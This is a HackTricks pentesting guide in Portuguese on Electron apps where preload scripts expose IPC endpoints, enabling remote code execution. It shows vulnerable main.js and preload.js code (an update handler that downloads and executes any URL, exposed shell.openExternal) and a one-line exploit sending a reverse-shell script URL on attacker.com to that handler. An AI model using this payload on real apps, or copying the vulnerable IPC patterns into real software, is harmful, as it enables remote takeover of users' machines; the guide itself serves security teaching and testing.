hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

# Electron contextIsolation RCE via IPC

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Se o script de preload expuser um endpoint IPC do arquivo main.js, o processo de renderização poderá acessá-lo e, se vulnerável, uma RCE pode ser possível.

**A maioria desses exemplos foi retirada daqui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Confira o vídeo para mais informações.

## Exemplo 0

Exemplo de [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (você tem o exemplo completo de como o MS Teams estava abusando de XSS para RCE nesses slides, este é apenas um exemplo muito básico):

<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>

## Exemplo 1

Confira como o `main.js` escuta em `getUpdate` e **baixará e executará qualquer URL** passada.\
Confira também como `preload.js` **expõe qualquer evento IPC** do main.
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
```

```javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```
Exploit:
```html
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
```
## Exemplo 2

Se o script de preload expuser diretamente ao renderizador uma maneira de chamar `shell.openExternal`, é possível obter RCE.
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};
```
## Exemplo 3

Se o script de preload expuser maneiras de se comunicar completamente com o processo principal, um XSS poderá enviar qualquer evento. O impacto disso depende do que o processo principal expõe em termos de IPC.
```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```
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<details>

<summary>Supporte o HackTricks</summary>

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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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